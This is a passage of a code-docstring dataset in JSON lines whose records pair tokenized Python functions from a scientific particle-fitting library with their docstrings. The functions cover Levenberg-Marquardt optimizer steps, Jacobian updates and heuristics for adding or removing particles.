{"signature": "def check_completion(self):", "body": "terminate = False<EOL>term_dict = self.get_termination_stats(get_cos=self.costol is not None)<EOL>terminate |= np.all(np.abs(term_dict['<STR_LIT>']) < self.paramtol)<EOL>terminate |= (term_dict['<STR_LIT>'] < self.errtol)<EOL>terminate |= (term_dict['<STR_LIT>'] < self.exptol)<EOL>terminate |= (term_dict['<STR_LIT>'] < self.fractol)<EOL>if self.costol is not None:<EOL><INDENT>terminate |= (curcos < term_dict['<STR_LIT>'])<EOL><DEDENT>return terminate<EOL>", "docstring": "Returns a Bool of whether the algorithm has found a satisfactory minimum", "id": "f5773:c0:m20"}
{"signature": "def check_terminate(self):", "body": "if not self._has_run:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>terminate = self.check_completion()<EOL>terminate |= (self._num_iter >= self.max_iter)<EOL>return terminate<EOL><DEDENT>", "docstring": "Returns a Bool of whether to terminate.\n\nChecks whether a satisfactory minimum has been found or whether\ntoo many iterations have occurred.", "id": "f5773:c0:m21"}
{"signature": "def check_update_J(self):", "body": "self._J_update_counter += <NUM_LIT:1><EOL>update = self._J_update_counter >= self.update_J_frequency<EOL>return update & (not self._fresh_JTJ)<EOL>", "docstring": "Checks if the full J should be updated.\n\nRight now, just updates after update_J_frequency loops", "id": "f5773:c0:m22"}
{"signature": "def update_J(self):", "body": "self.calc_J()<EOL>step = np.ceil(<NUM_LIT> * self.J.shape[<NUM_LIT:1>]).astype('<STR_LIT:int>')  <EOL>self.JTJ = low_mem_sq(self.J, step=step)<EOL>self._fresh_JTJ = True<EOL>self._J_update_counter = <NUM_LIT:0><EOL>if np.any(np.isnan(self.JTJ)):<EOL><INDENT>raise FloatingPointError('<STR_LIT>')<EOL><DEDENT>self._exp_err = self.error - self.find_expected_error(delta_params='<STR_LIT>')<EOL>", "docstring": "Updates J, JTJ, and internal counters.", "id": "f5773:c0:m23"}
{"signature": "def calc_grad(self):", "body": "residuals = self.calc_residuals()<EOL>return <NUM_LIT:2>*np.dot(self.J, residuals)<EOL>", "docstring": "The gradient of the cost w.r.t. the parameters.", "id": "f5773:c0:m24"}
{"signature": "def _rank_1_J_update(self, direction, values):", "body": "vals_to_sub = np.dot(direction, self.J)<EOL>delta_vals = values - vals_to_sub<EOL>for a in range(direction.size):<EOL><INDENT>self.J[a] += direction[a] * delta_vals<EOL><DEDENT>", "docstring": "Does J += np.outer(direction, new_values - old_values) without\nusing lots of memory", "id": "f5773:c0:m25"}
{"signature": "def update_Broyden_J(self):", "body": "CLOG.debug('<STR_LIT>')<EOL>delta_vals = self.param_vals - self._last_vals<EOL>delta_residuals = self.calc_residuals() - self._last_residuals<EOL>nrm = np.sqrt(np.dot(delta_vals, delta_vals))<EOL>direction = delta_vals / nrm<EOL>vals = delta_residuals / nrm<EOL>self._rank_1_J_update(direction, vals)<EOL>self.JTJ = np.dot(self.J, self.J.T)<EOL>", "docstring": "Execute a Broyden update of J", "id": "f5773:c0:m27"}
{"signature": "def update_eig_J(self):", "body": "CLOG.debug('<STR_LIT>')<EOL>vls, vcs = np.linalg.eigh(self.JTJ)<EOL>res0 = self.calc_residuals()<EOL>for a in range(min([self.num_eig_dirs, vls.size])):<EOL><INDENT>stif_dir = vcs[-(a+<NUM_LIT:1>)] <EOL>dl = self.eig_dl <EOL>_ = self.update_function(self.param_vals + dl*stif_dir)<EOL>res1 = self.calc_residuals()<EOL>grad_stif = (res1-res0)/dl<EOL>self._rank_1_J_update(stif_dir, grad_stif)<EOL><DEDENT>self.JTJ = np.dot(self.J, self.J.T)<EOL>_ = self.update_function(self.param_vals)<EOL>", "docstring": "Execute an eigen update of J", "id": "f5773:c0:m29"}
{"signature": "def calc_accel_correction(self, damped_JTJ, delta0):", "body": "<EOL>_ = self.update_function(self.param_vals)<EOL>rm0 = self.calc_residuals().copy()<EOL>_ = self.update_function(self.param_vals + delta0)<EOL>rm1 = self.calc_residuals().copy()<EOL>_ = self.update_function(self.param_vals - delta0)<EOL>rm2 = self.calc_residuals().copy()<EOL>der2 = (rm2 + rm1 - <NUM_LIT:2>*rm0)<EOL>corr, res, rank, s = np.linalg.lstsq(damped_JTJ, np.dot(self.J, der2),<EOL>rcond=self.min_eigval)<EOL>corr *= -<NUM_LIT:0.5><EOL>return corr<EOL>", "docstring": "Geodesic acceleration correction to the LM step.\n\nParameters\n----------\n    damped_JTJ : numpy.ndarray\n        The damped JTJ used to calculate the initial step.\n    delta0 : numpy.ndarray\n        The initial LM step.\n\nReturns\n-------\n    corr : numpy.ndarray\n        The correction to the original LM step.", "id": "f5773:c0:m30"}
{"signature": "def update_select_J(self, blk):", "body": "p0 = self.param_vals.copy()<EOL>self.update_function(p0)  <EOL>r0 = self.calc_residuals().copy()<EOL>dl = np.zeros(p0.size, dtype='<STR_LIT:float>')<EOL>blk_J = []<EOL>for i in np.nonzero(blk)[<NUM_LIT:0>]:<EOL><INDENT>dl *= <NUM_LIT:0>; dl[i] = self.eig_dl<EOL>self.update_function(p0 + dl)<EOL>r1 = self.calc_residuals().copy()<EOL>blk_J.append((r1-r0)/self.eig_dl)<EOL><DEDENT>self.J[blk] = np.array(blk_J)<EOL>self.update_function(p0)<EOL>self.JTJ = np.dot(self.J, self.J.T)<EOL>if np.any(np.isnan(self.J)) or np.any(np.isnan(self.JTJ)):<EOL><INDENT>raise FloatingPointError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Updates J only for certain parameters, described by the boolean\nmask `blk`.", "id": "f5773:c0:m31"}
{"signature": "def _set_err_paramvals(self):", "body": "<EOL>self._last_vals = self.param_vals.copy()<EOL>self.error = self.update_function(self.param_vals)<EOL>self._last_error = (<NUM_LIT:1> + <NUM_LIT:2>*self.fractol) * self.error<EOL>", "docstring": "Must update:\n    self.error, self._last_error, self.param_vals, self._last_vals", "id": "f5773:c1:m1"}
{"signature": "def calc_J(self):", "body": "del self.J<EOL>self.J = np.zeros([self.param_vals.size, self.data.size])<EOL>dp = np.zeros_like(self.param_vals)<EOL>f0 = self.model.copy()<EOL>for a in range(self.param_vals.size):<EOL><INDENT>dp *= <NUM_LIT:0><EOL>dp[a] = self.dl[a]<EOL>f1 = self.func(self.param_vals + dp, *self.func_args, **self.func_kwargs)<EOL>grad_func = (f1 - f0) / dp[a]<EOL>self.J[a] = -grad_func<EOL><DEDENT>", "docstring": "Updates self.J, returns nothing", "id": "f5773:c1:m2"}
{"signature": "def update_function(self, param_vals):", "body": "self.model = self.func(param_vals, *self.func_args, **self.func_kwargs)<EOL>d = self.calc_residuals()<EOL>return np.dot(d.flat, d.flat)<EOL>", "docstring": "Takes an array param_vals, updates function, returns the new error", "id": "f5773:c1:m4"}
{"signature": "def update_function(self, param_vals):", "body": "self.opt_obj.update_function(param_vals)<EOL>return self.opt_obj.get_error()<EOL>", "docstring": "Updates the opt_obj, returns new error.", "id": "f5773:c2:m4"}
{"signature": "def update_function(self, param_vals):", "body": "dp = np.zeros(self.p0.size)<EOL>for a in range(param_vals.size):<EOL><INDENT>dp += param_vals[a] * self.directions[a]<EOL><DEDENT>self.state.update(self.state.params, self.p0 + dp)<EOL>self.param_vals[:] = param_vals<EOL>return None<EOL>", "docstring": "Updates with param_vals[i] = distance from self.p0 along self.direction[i].", "id": "f5773:c4:m1"}
{"signature": "def calc_residuals(self):", "body": "return self.state.residuals.ravel().copy()<EOL>", "docstring": "See also\n--------\n:func:`peri.state.States.residuals`", "id": "f5773:c4:m3"}
{"signature": "def calc_J(self):", "body": "r0 = self.state.residuals.copy().ravel()<EOL>dl = np.zeros(self.param_vals.size)<EOL>p0 = self.param_vals.copy()<EOL>J = []<EOL>for a in range(self.param_vals.size):<EOL><INDENT>dl *= <NUM_LIT:0><EOL>dl[a] += self.dl<EOL>self.update_function(p0 + dl)<EOL>r1 = self.state.residuals.copy().ravel()<EOL>J.append( (r1-r0)/self.dl)<EOL><DEDENT>self.update_function(p0)<EOL>return np.array(J)<EOL>", "docstring": "Calculates J along the direction.", "id": "f5773:c4:m4"}
{"signature": "def update_select_J(self, blk):", "body": "self.update_function(self.param_vals)<EOL>params = np.array(self.param_names)[blk].tolist()<EOL>blk_J = -self.state.gradmodel(params=params, inds=self._inds, flat=False)<EOL>self.J[blk] = blk_J<EOL>self.JTJ = np.dot(self.J, self.J.T)<EOL>if np.any(np.isnan(self.J)) or np.any(np.isnan(self.JTJ)):<EOL><INDENT>raise FloatingPointError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Updates J only for certain parameters, described by the boolean\nmask blk.", "id": "f5773:c5:m6"}
{"signature": "def find_expected_error(self, delta_params='<STR_LIT>', adjust=True):", "body": "expected_error = super(LMGlobals, self).find_expected_error(<EOL>delta_params=delta_params)<EOL>if adjust:<EOL><INDENT>derr = (expected_error - self.error) * (self.state.residuals.size /<EOL>float(self.num_pix))<EOL>expected_error = self.error + derr<EOL><DEDENT>return expected_error<EOL>", "docstring": "Returns the error expected after an update if the model were linear.\n\nParameters\n----------\n    delta_params : {numpy.ndarray, 'calc', or 'perfect'}, optional\n        The relative change in parameters. If 'calc', uses update\n        calculated from the current damping, J, etc; if 'perfect',\n        uses the update calculated with zero damping.\n\nReturns\n-------\n    numpy.float64\n        The expected error after the update with `delta_params`", "id": "f5773:c5:m7"}
{"signature": "def calc_model_cosine(self, decimate=None, mode='<STR_LIT>'):", "body": "<EOL>if mode == '<STR_LIT>':<EOL><INDENT>expected_error = self.find_expected_error(delta_params='<STR_LIT>',<EOL>adjust=False)<EOL>derr = self.error - expected_error<EOL>residuals_err = lambda r: np.dot(r,r).sum()<EOL>current_partial_error = residuals_err(self.calc_residuals())<EOL>expected_partial_error = current_partial_error - derr<EOL>model_sine_2 = expected_partial_error / current_partial_error<EOL>abs_cos = np.sqrt(<NUM_LIT:1> - model_sine_2)<EOL><DEDENT>else:<EOL><INDENT>abs_cos = super(self.__class__, self).calc_model_cosine(decimate=<EOL>decimate, mode=mode)<EOL><DEDENT>return abs_cos<EOL>", "docstring": "Calculates the cosine of the residuals with the model.\n\nParameters\n----------\n    decimate : Int or None, optional\n        Decimate the residuals by `decimate` pixels. If None, no\n        decimation is used. Valid only with mode='svd'. Default\n        is None\n    mode : {'svd', 'err'}\n        Which mode to use; see Notes section. Default is 'err'.\n\nReturns\n-------\n    abs_cos : numpy.float64\n        The absolute value of the model cosine.\n\nNotes\n-----\nThe model cosine is defined in terms of the geometric view of\ncurve-fitting, as a model manifold embedded in a high-dimensional\nspace. The model cosine is the cosine of the residuals vector\nwith its projection on the tangent space: :math:`cos(phi) = |P^T r|/|r|`\nwhere :math:`P^T` is the projection operator onto the model manifold\nand :math:`r` the residuals. This can be calculated two ways: By\ncalculating the projection operator P directly with SVD (mode=`svd`),\nor by using the expected error if the model were linear to calculate\na model sine first (mode=`err`). Since the SVD of a large matrix is\nslow, mode=`err` is faster.\n\n`decimate` allows for every nth pixel only to be counted in the\nSVD matrix of J for speed. While this is n x faster, it is\nconsiderably less accurate, so the default is no decimation.", "id": "f5773:c5:m8"}
{"signature": "def calc_grad(self):", "body": "if self._fresh_JTJ:<EOL><INDENT>return self._graderr<EOL><DEDENT>else:<EOL><INDENT>residuals = self.calc_residuals()<EOL>return <NUM_LIT:2>*np.dot(self.J, residuals)<EOL><DEDENT>", "docstring": "The gradient of the cost w.r.t. the parameters.", "id": "f5773:c5:m9"}
{"signature": "def reset(self, new_region_size=None, do_calc_size=True, new_damping=None,<EOL>new_max_mem=None):", "body": "if new_region_size is not None:<EOL><INDENT>self.region_size = new_region_size<EOL><DEDENT>if new_max_mem != None:<EOL><INDENT>self.max_mem = new_max_mem<EOL><DEDENT>if do_calc_size:<EOL><INDENT>self.region_size = calc_particle_group_region_size(self.state,<EOL>region_size=self.region_size, max_mem=self.max_mem)<EOL><DEDENT>self.stats = []<EOL>self.particle_groups = separate_particles_into_groups(self.state,<EOL>self.region_size, doshift='<STR_LIT>')<EOL>if new_damping is not None:<EOL><INDENT>self._kwargs.update({'<STR_LIT>':new_damping})<EOL><DEDENT>if self.save_J:<EOL><INDENT>if len(self.particle_groups) > <NUM_LIT>:<EOL><INDENT>CLOG.warn('<STR_LIT>')<EOL><DEDENT>self._tempfiles = []<EOL>self._has_saved_J = []<EOL>for a in range(len(self.particle_groups)):<EOL><INDENT>for _ in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>self._tempfiles.append(tempfile.TemporaryFile(dir=os.getcwd()))<EOL><DEDENT>self._has_saved_J.append(False)<EOL><DEDENT><DEDENT>", "docstring": "Resets the particle groups and optionally the region size and damping.\n\nParameters\n----------\n    new_region_size : : Int or 3-element list-like of ints, optional\n        The region size for sub-blocking particles. Default is 40\n    do_calc_size : Bool, optional\n        If True, calculates the region size internally based on\n        the maximum allowed memory. Default is True\n    new_damping : Float or None, optional\n        The new damping of the optimizer. Set to None to leave\n        as the default for LMParticles. Default is None.\n    new_max_mem : Numeric, optional\n        The maximum allowed memory for J to occupy. Default is 1e9", "id": "f5773:c7:m1"}
{"signature": "def _do_run(self, mode='<STR_LIT:1>'):", "body": "for a in range(len(self.particle_groups)):<EOL><INDENT>group = self.particle_groups[a]<EOL>lp = LMParticles(self.state, group, **self._kwargs)<EOL>if mode == '<STR_LIT>':<EOL><INDENT>lp.J, lp.JTJ, lp._dif_tile = self._load_j_diftile(a)<EOL><DEDENT>if mode == '<STR_LIT:1>':<EOL><INDENT>lp.do_run_1()<EOL><DEDENT>if mode == '<STR_LIT:2>':<EOL><INDENT>lp.do_run_2()<EOL><DEDENT>if mode == '<STR_LIT>':<EOL><INDENT>lp.do_internal_run()<EOL><DEDENT>self.stats.append(lp.get_termination_stats(get_cos=self.get_cos))<EOL>if self.save_J and (mode != '<STR_LIT>'):<EOL><INDENT>self._dump_j_diftile(a, lp.J, lp._dif_tile)<EOL>self._has_saved_J[a] = True<EOL><DEDENT><DEDENT>", "docstring": "workhorse for the self.do_run_xx methods.", "id": "f5773:c7:m5"}
{"signature": "def do_run_1(self):", "body": "self._do_run(mode='<STR_LIT:1>')<EOL>", "docstring": "Calls LMParticles.do_run_1 for each group of particles.", "id": "f5773:c7:m6"}
{"signature": "def do_run_2(self):", "body": "self._do_run(mode='<STR_LIT:2>')<EOL>", "docstring": "Calls LMParticles.do_run_2 for each group of particles.", "id": "f5773:c7:m7"}
{"signature": "def do_internal_run(self):", "body": "if not self.save_J:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if not np.all(self._has_saved_J):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._do_run(mode='<STR_LIT>')<EOL>", "docstring": "Calls LMParticles.do_internal_run for each group of particles.", "id": "f5773:c7:m8"}
{"signature": "def reset(self):", "body": "inds = list(range(self.state.obj_get_positions().shape[<NUM_LIT:0>]))<EOL>self._rad_nms = self.state.param_particle_rad(inds)<EOL>self._pos_nms = self.state.param_particle_pos(inds)<EOL>self._initial_rad = np.copy(self.state.state[self._rad_nms])<EOL>self._initial_pos = np.copy(self.state.state[self._pos_nms]).reshape((-<NUM_LIT:1>,<NUM_LIT:3>))<EOL>self.param_vals[self.rscale_mask] = <NUM_LIT:0><EOL>", "docstring": "Resets the initial radii used for updating the particles. Call\nif any of the particle radii or positions have been changed\nexternal to the augmented state.", "id": "f5773:c8:m1"}
{"signature": "def rad_func(self, pos):", "body": "return np.exp(self._poly(pos[:,<NUM_LIT:2>]))<EOL>", "docstring": "Right now exp(self._poly(z))", "id": "f5773:c8:m2"}
{"signature": "def _poly(self, z):", "body": "shp = self.state.oshape.shape<EOL>zmax = float(shp[<NUM_LIT:0>])<EOL>zmin = <NUM_LIT:0.0><EOL>zmid = zmax * <NUM_LIT:0.5><EOL>coeffs = self.param_vals[self.rscale_mask].copy()<EOL>if coeffs.size == <NUM_LIT:0>:<EOL><INDENT>ans = <NUM_LIT:0>*z<EOL><DEDENT>else:<EOL><INDENT>ans = np.polynomial.legendre.legval((z-zmid)/zmid,<EOL>self.param_vals[self.rscale_mask])<EOL><DEDENT>return ans<EOL>", "docstring": "Right now legval(z)", "id": "f5773:c8:m3"}
{"signature": "def update(self, param_vals):", "body": "self.update_rscl_x_params(param_vals[self.rscale_mask])<EOL>self.state.update(self.param_names, param_vals[self.globals_mask])<EOL>self.param_vals[:] = param_vals.copy()<EOL>if np.any(np.isnan(self.state.residuals)):<EOL><INDENT>raise FloatingPointError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Updates all the parameters of the state + rscale(z)", "id": "f5773:c8:m4"}
{"signature": "def reset(self, **kwargs):", "body": "self.aug_state.reset()<EOL>super(LMAugmentedState, self).reset(**kwargs)<EOL>", "docstring": "Resets the aug_state and the LMEngine", "id": "f5773:c9:m4"}
{"signature": "def feature_guess(st, rad, invert='<STR_LIT>', minmass=None, use_tp=False,<EOL>trim_edge=False, **kwargs):", "body": "<EOL>if invert == '<STR_LIT>':<EOL><INDENT>invert = guess_invert(st)<EOL><DEDENT>if invert:<EOL><INDENT>im = <NUM_LIT:1> - st.residuals<EOL><DEDENT>else:<EOL><INDENT>im = st.residuals<EOL><DEDENT>return _feature_guess(im, rad, minmass=minmass, use_tp=use_tp,<EOL>trim_edge=trim_edge)<EOL>", "docstring": "Makes a guess at particle positions using heuristic centroid methods.\n\nParameters\n----------\nst : :class:`peri.states.State`\n    The state to check adding particles to.\nrad : Float\n    The feature size for featuring.\ninvert : {'guess', True, False}, optional\n    Whether to invert the image; set to True for there are dark\n    particles on a bright background, False for bright particles.\n    The default is to guess from the state's current particles.\nminmass : Float or None, optional\n    The minimum mass/masscut of a particle. Default is ``None`` =\n    calculated internally.\nuse_tp : Bool, optional\n    Whether or not to use trackpy. Default is ``False``, since trackpy\n    cuts out particles at the edge.\ntrim_edge : Bool, optional\n    Whether to trim particles at the edge pixels of the image. Can be\n    useful for initial featuring but is bad for adding missing particles\n    as they are frequently at the edge. Default is ``False``.\n\nReturns\n-------\nguess : [N,3] numpy.ndarray\n    The featured positions of the particles, sorted in order of decreasing\n    feature mass.\nnpart : Int\n    The number of added particles.", "id": "f5774:m0"}
{"signature": "def _feature_guess(im, rad, minmass=None, use_tp=False, trim_edge=False):", "body": "if minmass is None:<EOL><INDENT>minmass = rad**<NUM_LIT:3> * <NUM_LIT:4>/<NUM_LIT>*np.pi * <NUM_LIT><EOL><DEDENT>if use_tp:<EOL><INDENT>diameter = np.ceil(<NUM_LIT:2>*rad)<EOL>diameter += <NUM_LIT:1>-(diameter % <NUM_LIT:2>)<EOL>df = peri.trackpy.locate(im, int(diameter), minmass=minmass)<EOL>npart = np.array(df['<STR_LIT>']).size<EOL>guess = np.zeros([npart, <NUM_LIT:3>])<EOL>guess[:, <NUM_LIT:0>] = df['<STR_LIT:z>']<EOL>guess[:, <NUM_LIT:1>] = df['<STR_LIT:y>']<EOL>guess[:, <NUM_LIT:2>] = df['<STR_LIT:x>']<EOL>mass = df['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>guess, mass = initializers.local_max_featuring(<EOL>im, radius=rad, minmass=minmass, trim_edge=trim_edge)<EOL>npart = guess.shape[<NUM_LIT:0>]<EOL><DEDENT>inds = np.argsort(mass)[::-<NUM_LIT:1>]  <EOL>return guess[inds].copy(), npart<EOL>", "docstring": "Workhorse of feature_guess", "id": "f5774:m1"}
{"signature": "def check_add_particles(st, guess, rad='<STR_LIT>', do_opt=True, im_change_frac=<NUM_LIT>,<EOL>min_derr='<STR_LIT>', **kwargs):", "body": "<EOL>if min_derr == '<STR_LIT>':<EOL><INDENT>min_derr = <NUM_LIT:3> * st.sigma<EOL><DEDENT>accepts = <NUM_LIT:0><EOL>new_poses = []<EOL>if rad == '<STR_LIT>':<EOL><INDENT>rad = guess_add_radii(st)<EOL><DEDENT>message = ('<STR_LIT:->'*<NUM_LIT:30> + '<STR_LIT>' + '<STR_LIT:->'*<NUM_LIT:30> +<EOL>'<STR_LIT>')<EOL>with log.noformat():<EOL><INDENT>CLOG.info(message)<EOL><DEDENT>for a in range(guess.shape[<NUM_LIT:0>]):<EOL><INDENT>p0 = guess[a]<EOL>absent_err = st.error<EOL>absent_d = st.residuals.copy()<EOL>ind = st.obj_add_particle(p0, rad)<EOL>if do_opt:<EOL><INDENT>opt.do_levmarq_particles(<EOL>st, ind, damping=<NUM_LIT:1.0>, max_iter=<NUM_LIT:1>, run_length=<NUM_LIT:3>,<EOL>eig_update=False, include_rad=False)<EOL><DEDENT>present_err = st.error<EOL>present_d = st.residuals.copy()<EOL>dont_kill = should_particle_exist(<EOL>absent_err, present_err, absent_d, present_d,<EOL>im_change_frac=im_change_frac, min_derr=min_derr)<EOL>if dont_kill:<EOL><INDENT>accepts += <NUM_LIT:1><EOL>p = tuple(st.obj_get_positions()[ind].ravel())<EOL>r = tuple(st.obj_get_radii()[ind].ravel())<EOL>new_poses.append(p)<EOL>part_msg = '<STR_LIT>' % (<EOL>p + r + (absent_err, st.error))<EOL>with log.noformat():<EOL><INDENT>CLOG.info(part_msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>st.obj_remove_particle(ind)<EOL>if np.abs(absent_err - st.error) > <NUM_LIT>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>return accepts, new_poses<EOL>", "docstring": "Checks whether to add particles at a given position by seeing if adding\nthe particle improves the fit of the state.\n\nParameters\n----------\nst : :class:`peri.states.State`\n    The state to check adding particles to.\nguess : [N,3] list-like\n    The positions of particles to check to add.\nrad : {Float, ``'calc'``}, optional.\n    The radius of the newly-added particles. Default is ``'calc'``,\n    which uses the states current radii's median.\ndo_opt : Bool, optional\n    Whether to optimize the particle position before checking if it\n    should be kept. Default is True (optimizes position).\nim_change_frac : Float\n    How good the change in error needs to be relative to the change in\n    the difference image. Default is 0.2; i.e. if the error does not\n    decrease by 20% of the change in the difference image, do not add\n    the particle.\nmin_derr : Float or '3sig'\n    The minimal improvement in error to add a particle. Default\n    is ``'3sig' = 3*st.sigma``.\n\nReturns\n-------\naccepts : Int\n    The number of added particles\nnew_poses : [N,3] list\n    List of the positions of the added particles. If ``do_opt==True``,\n    then these positions will differ from the input 'guess'.", "id": "f5774:m2"}
{"signature": "def check_remove_particle(st, ind, im_change_frac=<NUM_LIT>, min_derr='<STR_LIT>',<EOL>**kwargs):", "body": "<EOL>if min_derr == '<STR_LIT>':<EOL><INDENT>min_derr = <NUM_LIT:3> * st.sigma<EOL><DEDENT>present_err = st.error<EOL>present_d = st.residuals.copy()<EOL>p, r = st.obj_remove_particle(ind)<EOL>p = p[<NUM_LIT:0>]<EOL>r = r[<NUM_LIT:0>]<EOL>absent_err = st.error<EOL>absent_d = st.residuals.copy()<EOL>if should_particle_exist(absent_err, present_err, absent_d, present_d,<EOL>im_change_frac=im_change_frac, min_derr=min_derr):<EOL><INDENT>st.obj_add_particle(p, r)<EOL>killed = False<EOL><DEDENT>else:<EOL><INDENT>killed = True<EOL><DEDENT>return killed, tuple(p), (r,)<EOL>", "docstring": "Checks whether to remove particle 'ind' from state 'st'. If removing the\nparticle increases the error by less than max( min_derr, change in image *\nim_change_frac), then the particle is removed.\n\nParameters\n----------\nst : :class:`peri.states.State`\n    The state to check adding particles to.\nind : Int\n    The index of the particle to check to remove.\nim_change_frac : Float\n    How good the change in error needs to be relative to the change in\n    the difference image. Default is 0.2; i.e. if the error does not\n    decrease by 20% of the change in the difference image, do not add\n    the particle.\nmin_derr : Float or '3sig'\n    The minimal improvement in error to add a particle. Default is\n    ``'3sig' = 3*st.sigma``.\n\nReturns\n-------\nkilled : Bool\n    Whether the particle was removed.\np : Tuple\n    The position of the removed particle.\nr : Tuple\n    The radius of the removed particle.", "id": "f5774:m3"}
{"signature": "def should_particle_exist(absent_err, present_err, absent_d, present_d,<EOL>im_change_frac=<NUM_LIT>, min_derr=<NUM_LIT:0.1>):", "body": "delta_im = np.ravel(present_d - absent_d)<EOL>im_change = np.dot(delta_im, delta_im)<EOL>err_cutoff = max([im_change_frac * im_change, min_derr])<EOL>return (absent_err - present_err) >= err_cutoff<EOL>", "docstring": "Checks whether or not adding a particle should be present.\n\nParameters\n----------\nabsent_err : Float\n    The state error without the particle.\npresent_err : Float\n    The state error with the particle.\nabsent_d : numpy.ndarray\n    The state residuals without the particle.\npresent_d : numpy.ndarray\n    The state residuals with the particle.\nim_change_frac : Float, optional\n    How good the change in error needs to be relative to the change in\n    the residuals. Default is 0.2; i.e. return False if the error does\n    not decrease by 0.2 x the change in the residuals.\nmin_derr : Float, optional\n    The minimal improvement in error. Default is 0.1\n\nReturns\n-------\nBool\n    True if the errors is better with the particle present.", "id": "f5774:m4"}
{"signature": "def add_missing_particles(st, rad='<STR_LIT>', tries=<NUM_LIT:50>, **kwargs):", "body": "if rad == '<STR_LIT>':<EOL><INDENT>rad = guess_add_radii(st)<EOL><DEDENT>guess, npart = feature_guess(st, rad, **kwargs)<EOL>tries = np.min([tries, npart])<EOL>accepts, new_poses = check_add_particles(<EOL>st, guess[:tries], rad=rad, **kwargs)<EOL>return accepts, new_poses<EOL>", "docstring": "Attempts to add missing particles to the state.\n\nOperates by:\n(1) featuring the difference image using feature_guess,\n(2) attempting to add the featured positions using check_add_particles.\n\nParameters\n----------\nst : :class:`peri.states.State`\n    The state to check adding particles to.\nrad : Float or 'calc', optional\n    The radius of the newly-added particles and of the feature size for\n    featuring. Default is 'calc', which uses the median of the state's\n    current radii.\ntries : Int, optional\n    How many particles to attempt to add. Only tries to add the first\n    ``tries`` particles, in order of mass. Default is 50.\n\nOther Parameters\n----------------\ninvert : Bool, optional\n    Whether to invert the image. Default is ``True``, i.e. dark particles\nminmass : Float or None, optionals\n    The minimum mass/masscut of a particle. Default is ``None``=calcualted\n    by ``feature_guess``.\nuse_tp : Bool, optional\n    Whether to use trackpy in feature_guess. Default is False, since\n    trackpy cuts out particles at the edge.\n\ndo_opt : Bool, optional\n    Whether to optimize the particle position before checking if it\n    should be kept. Default is True (optimizes position).\nim_change_frac : Float, optional\n    How good the change in error needs to be relative to the change\n    in the difference image. Default is 0.2; i.e. if the error does\n    not decrease by 20% of the change in the difference image, do\n    not add the particle.\n\nmin_derr : Float or '3sig', optional\n    The minimal improvement in error to add a particle. Default\n    is ``'3sig' = 3*st.sigma``.\n\nReturns\n-------\naccepts : Int\n    The number of added particles\nnew_poses : [N,3] list\n    List of the positions of the added particles. If ``do_opt==True``,\n    then these positions will differ from the input 'guess'.", "id": "f5774:m5"}
{"signature": "def remove_bad_particles(st, min_rad='<STR_LIT>', max_rad='<STR_LIT>', min_edge_dist=<NUM_LIT>,<EOL>check_rad_cutoff=[<NUM_LIT>, <NUM_LIT:15>], check_outside_im=True,<EOL>tries=<NUM_LIT:50>, im_change_frac=<NUM_LIT>, **kwargs):", "body": "is_near_im_edge = lambda pos, pad: (((pos + st.pad) < pad) | (pos ><EOL>np.array(st.ishape.shape) + st.pad - pad)).any(axis=<NUM_LIT:1>)<EOL>removed = <NUM_LIT:0><EOL>attempts = <NUM_LIT:0><EOL>n_tot_part = st.obj_get_positions().shape[<NUM_LIT:0>]<EOL>q10 = int(<NUM_LIT:0.1> * n_tot_part)  <EOL>r_sig = np.sort(st.obj_get_radii())[q10:-q10].std()<EOL>r_med = np.median(st.obj_get_radii())<EOL>if max_rad == '<STR_LIT>':<EOL><INDENT>max_rad = r_med + <NUM_LIT:15>*r_sig<EOL><DEDENT>if min_rad == '<STR_LIT>':<EOL><INDENT>min_rad = r_med - <NUM_LIT>*r_sig<EOL><DEDENT>if check_rad_cutoff == '<STR_LIT>':<EOL><INDENT>check_rad_cutoff = [r_med - <NUM_LIT>*r_sig, r_med + <NUM_LIT>*r_sig]<EOL><DEDENT>rad_wrong_size = np.nonzero(<EOL>(st.obj_get_radii() < min_rad) | (st.obj_get_radii() > max_rad))[<NUM_LIT:0>]<EOL>near_im_edge = np.nonzero(is_near_im_edge(st.obj_get_positions(),<EOL>min_edge_dist - st.pad))[<NUM_LIT:0>]<EOL>delete_inds = np.unique(np.append(rad_wrong_size, near_im_edge)).tolist()<EOL>delete_poses = st.obj_get_positions()[delete_inds].tolist()<EOL>message = ('<STR_LIT:->'*<NUM_LIT> + '<STR_LIT>' + '<STR_LIT:->'*<NUM_LIT> +<EOL>'<STR_LIT>')<EOL>with log.noformat():<EOL><INDENT>CLOG.info(message)<EOL><DEDENT>for pos in delete_poses:<EOL><INDENT>ind = st.obj_closest_particle(pos)<EOL>old_err = st.error<EOL>p, r = st.obj_remove_particle(ind)<EOL>p = p[<NUM_LIT:0>]<EOL>r = r[<NUM_LIT:0>]<EOL>part_msg = '<STR_LIT>' % (<EOL>tuple(p) + (r,) + (old_err, st.error))<EOL>with log.noformat():<EOL><INDENT>CLOG.info(part_msg)<EOL><DEDENT>removed += <NUM_LIT:1><EOL><DEDENT>check_rad_inds = np.nonzero((st.obj_get_radii() < check_rad_cutoff[<NUM_LIT:0>]) |<EOL>(st.obj_get_radii() > check_rad_cutoff[<NUM_LIT:1>]))[<NUM_LIT:0>]<EOL>if check_outside_im:<EOL><INDENT>check_edge_inds = np.nonzero(<EOL>is_near_im_edge(st.obj_get_positions(), st.pad))[<NUM_LIT:0>]<EOL>check_inds = np.unique(np.append(check_rad_inds, check_edge_inds))<EOL><DEDENT>else:<EOL><INDENT>check_inds = check_rad_inds<EOL><DEDENT>check_inds = check_inds[np.argsort(st.obj_get_radii()[check_inds])]<EOL>tries = np.min([tries, check_inds.size])<EOL>check_poses = st.obj_get_positions()[check_inds[:tries]].copy()<EOL>for pos in check_poses:<EOL><INDENT>old_err = st.error<EOL>ind = st.obj_closest_particle(pos)<EOL>killed, p, r = check_remove_particle(<EOL>st, ind, im_change_frac=im_change_frac)<EOL>if killed:<EOL><INDENT>removed += 